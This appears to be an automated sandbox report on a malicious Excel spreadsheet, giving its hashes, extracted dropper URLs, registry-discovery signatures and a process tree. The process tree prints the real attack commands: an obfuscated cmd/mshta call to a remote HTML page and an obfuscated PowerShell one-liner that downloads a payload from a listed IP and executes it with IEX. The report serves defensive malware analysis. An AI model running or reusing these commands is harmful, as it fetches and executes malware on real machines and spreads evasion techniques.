db8baab6295830de9d3d9a59dc3b8c88a5de601deeaffaaa83bb6aa941e29b6c

General

Target
1df4b2482edd9d2789352b664d3e71cf.xls
Size 71KB
Sample220121-flvcgsdgb5
SHA256 db8baab6295830de9d3d9a59dc3b8c88a5de601deeaffaaa83bb6aa941e29b6c
MD5 1df4b2482edd9d2789352b664d3e71cf
SHA1 005e320d99445f449c892af452ac2ae012434e1c
SHA512 4fc56c27774647cf9bc9d8f39bba2737263857fe2d1dce1061b23e8015ee9dda115b969c10f265918f55fbf2a6a40a542a1c18db5e03e27cc37e8bf7c66a2802
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe2.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3620	1688	cmd.exe	52

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1688	EXCEL.EXE

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE
1688	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1df4b2482edd9d2789352b664d3e71cf.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1688
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  PID:3620
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    PID:3548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:2796

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3548 -ip 3548
1⤵
PID:3112

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1688-130-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/1688-131-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/1688-132-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/1688-133-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/1688-134-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/1688-137-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp

Download

memory/1688-138-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads